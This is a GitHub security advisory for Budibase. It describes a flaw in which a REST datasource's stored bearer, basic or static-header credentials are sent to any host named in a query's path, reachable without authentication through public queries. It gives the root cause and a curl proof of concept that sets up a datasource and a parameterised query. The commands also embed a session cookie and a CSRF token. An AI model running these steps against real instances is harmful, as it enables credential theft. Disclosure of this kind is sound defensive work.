GHSA-mqhr-6j6h-74p5

Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak

Published

2026-07-24

Modified

2026-07-24

Sources

github-advisory

Summary

## Summary Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied `{{ parameter }}`), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (`--secret-value--`) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated). ## Root Cause `packages/server/src/integrations/rest.ts`: `_req()` builds `authHeaders = getAuthHeaders(...)` from the stored auth configs and merges them with `config.defaultHeaders` into every request, before the URL is resolved. `getUrl()`: if the (parameter-enriched) query `path` starts with `http`, the datasource base URL is ignored and `path` becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route `POST /api/v2/queries/:queryId` runs under `authorized(QUERY, WRITE)`; a query published at role PUBLIC is executable with no session. POC ## Reproduction — copy each line, paste in your terminal, press Enter, Line 1: ``` DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH_LEAK_TOKEN_5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC_HDR_LEAK_4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])"); echo "datasource=$DSID" RESPONSE datasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19 ``` Line 2: ``` QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])"); echo "query=$QID" ``` RESPONSE query=query_datasource_9938805b2d0348a4a4f28dc9d1c97f19_7727920

Affected packages

Remediation: No patched version is listed by GitHub.

References

• https://github.com/advisories/GHSA-mqhr-6j6h-74p5